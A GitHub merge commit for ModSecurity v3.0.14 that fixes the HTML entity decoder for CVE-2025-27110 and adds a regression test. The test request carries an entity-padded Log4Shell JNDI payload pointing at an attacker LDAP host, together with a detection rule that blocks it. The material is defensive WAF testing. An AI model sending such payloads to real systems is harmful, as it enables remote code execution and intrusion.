Merge commit from fork

fix: fixed htmlEntityDecode methods
owasp-modsecurity · Feb 25, 2025 · a555e5a · a555e5a
2 parents f96806c + 6468810
commit a555e5a
Show file tree

Hide file tree

Showing 5 changed files with 101 additions and 11 deletions.
diff --git a/CHANGES b/CHANGES
@@ -1,3 +1,43 @@
+v3.0.14 - 2025-Feb-25
+---------------------
+
+  - [fix: fixed htmlEntityDecode methods]
+    [PR from private repo - @theseion,@airween; fixed CVE-2025-27110]
+  - fix: Added missing header to avoid build error with gcc-15
+    [PR #3342 - @airween]
+  - Fix for issue #3334: build not finding YAJL
+    [PR #3335 - @RooHTaylor]
+  - fix: add value checking to @validateByteRange
+    [PR #3322 - @airween]
+  - fix: build library on OSX without GeoIP brew package
+    [PR #3319 - @theseion,@airween]
+  - Update README.md
+    [PR #3314 - @ElevationsRPG]
+  - Fix: Add false positive cppcheck-suppress for compatibility with upda…
+    [PR #3307 - @gberkes]
+  - fix: align TIME_MON variable's behavior
+    [PR #3306 - @M4tteoP,@theseion,@airween]
+  - Fix m_requestHostName variable behavior
+    [PR #3298 - @airween]
+  - Add regression rules for test
+    [PR #3291 - @hnakamur]
+  - Fix modsecurity-regression-test-secremoterules.txt URL in example
+    [PR #3287 - @hnakamur]
+  - Use latest version of cppcheck (2.15.0) to analyze codebase
+    [PR #3283 - @eduar-hte]
+  - Replace usage of range-checked 'at' method when vector/string has already been size checked
+    [PR #3280 - @eduar-hte]
+  - chore: add 'log' action to rule 200005
+    [PR #3266 - @airween]
+  - docs: add a logo picture for github dark theme
+    [PR #3264 - @xuruidong]
+  - Leverage std::make_unique & std::make_shared to create objects in the heap
+    [PR #3254 - @eduar-hte]
+  - Simplified handling of RuleMessage by removing usage of std::shared_ptr
+    [PR #3253 - @eduar-hte]
+  - Simplified constructors, copy constructors & assignment operators
+    [PR #3248 - @eduar-hte]
+
 v3.0.13 - 2024-Sep-03
 ---------------------
 

diff --git a/headers/modsecurity/modsecurity.h b/headers/modsecurity/modsecurity.h
@@ -190,15 +190,15 @@ namespace modsecurity {
 
 #define MODSECURITY_MAJOR "3"
 #define MODSECURITY_MINOR "0"
-#define MODSECURITY_PATCHLEVEL "13"
+#define MODSECURITY_PATCHLEVEL "14"
 #define MODSECURITY_TAG ""
 #define MODSECURITY_TAG_NUM "100"
 
 #define MODSECURITY_VERSION MODSECURITY_MAJOR "." \
     MODSECURITY_MINOR "." MODSECURITY_PATCHLEVEL \
     MODSECURITY_TAG
 
-#define MODSECURITY_VERSION_NUM 30130100
+#define MODSECURITY_VERSION_NUM 30140100
 
 #define MODSECURITY_CHECK_VERSION(a) (MODSECURITY_VERSION_NUM <= a)
 

diff --git a/src/actions/transformations/html_entity_decode.cc b/src/actions/transformations/html_entity_decode.cc
@@ -62,18 +62,18 @@ static inline bool inplace(std::string &value) {
                     }
                     j++; /* j is the position of the first digit now. */
 
-                    constexpr int MAX_HEX_DIGITS = 2;   // supports only bytes (max value 0xff)
                     auto k = j;
-                    while ((j - k < MAX_HEX_DIGITS) && (j < input_len) && (isxdigit(input[j]))) {
+                    while ((j < input_len) && (isxdigit(input[j]))) {
                         j++;
                     }
                     if (j > k) { /* Do we have at least one digit? */
                         /* Decode the entity. */
-                        char x[MAX_HEX_DIGITS + 1];
-                        memcpy(x, (const char *)&input[k], j - k);
+                        char *x = new char[(j - k) + 1];
+                        std::copy(input + k, input + j, x);
                         x[j - k] = '\0';
 
                         *d++ = (unsigned char)strtol(x, nullptr, 16);
+                        delete[] x;
 
                         /* Skip over the semicolon if it's there. */
                         if ((j < input_len) && (input[j] == ';')) {
@@ -87,18 +87,19 @@ static inline bool inplace(std::string &value) {
                     }
                 } else {
                     /* Decimal entity. */
-                    constexpr int MAX_DEC_DIGITS = 3;   // supports only bytes (max value 255)
                     auto k = j;
-                    while ((j - k < MAX_DEC_DIGITS) && (j < input_len) && (isdigit(input[j]))) {
+
+                    while ((j < input_len) && (isdigit(input[j]))) {
                         j++;
                     }
                     if (j > k) { /* Do we have at least one digit? */
                         /* Decode the entity. */
-                        char x[MAX_DEC_DIGITS + 1];
-                        memcpy(x, (const char *)&input[k], j - k);
-                        x[j - k] = '\0';
+                        char *x = new char[j - k + 1];
+                        std::copy(input + k, input + j, x);
 
+                        x[j - k] = '\0';
                         *d++ = (unsigned char)strtol(x, nullptr, 10);
+                        delete[] x;
 
                         /* Skip over the semicolon if it's there. */
                         if ((j < input_len) && (input[j] == ';')) {

diff --git a/test/test-cases/regression/issue-3340.json b/test/test-cases/regression/issue-3340.json
@@ -0,0 +1,48 @@
+[
+  {
+    "enabled": 1,
+    "version_min": 300000,
+    "version_max": 0,
+    "title": "Decode HTML entities with padding",
+    "client": {
+      "ip": "200.249.12.31",
+      "port": 2313
+    },
+    "server": {
+      "ip": "200.249.12.31",
+      "port": 80
+    },
+    "request": {
+      "headers": {
+        "Host": "localhost",
+        "User-Agent": "&#x24;&#00000000000000000000000000000000000000000000000123;jndi:ldap://evil.om/w}",
+        "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8",
+        "Accept-Language": "en-us,en;q=0.5",
+        "Accept-Encoding": "gzip,deflate",
+        "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7",
+        "Keep-Alive": "300",
+        "Connection": "keep-alive",
+        "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120",
+        "Pragma": "no-cache",
+        "Cache-Control": "no-cache"
+      },
+      "uri": "/",
+      "method": "GET",
+      "http_version": 1.1,
+      "body": ""
+    },
+    "response": {
+      "headers": {
+        "Content-Type": "text\/xml; charset=utf-8"
+      },
+      "body": "<html><body>OK</bod></html>"
+    },
+    "expected": {
+      "http_code": 403
+    },
+    "rules": [
+      "SecRuleEngine On",
+      "SecRule REQUEST_HEADERS \"@rx (?i)(?:\\$|&dollar;?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|&dollar;?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)\" \"id:944150,phase:2,deny,t:none,t:urlDecodeUni,t:jsDecode,t:htmlEntityDecode,log\""
+    ]
+  }
+]
diff --git a/test/test-suite.in b/test/test-suite.in
@@ -73,6 +73,7 @@ TESTS+=test/test-cases/regression/issue-2196.json
 TESTS+=test/test-cases/regression/issue-2423-msg-in-chain.json
 TESTS+=test/test-cases/regression/issue-2427.json
 TESTS+=test/test-cases/regression/issue-2296.json
+TESTS+=test/test-cases/regression/issue-3340.json
 TESTS+=test/test-cases/regression/issue-394.json
 TESTS+=test/test-cases/regression/issue-849.json
 TESTS+=test/test-cases/regression/issue-960.json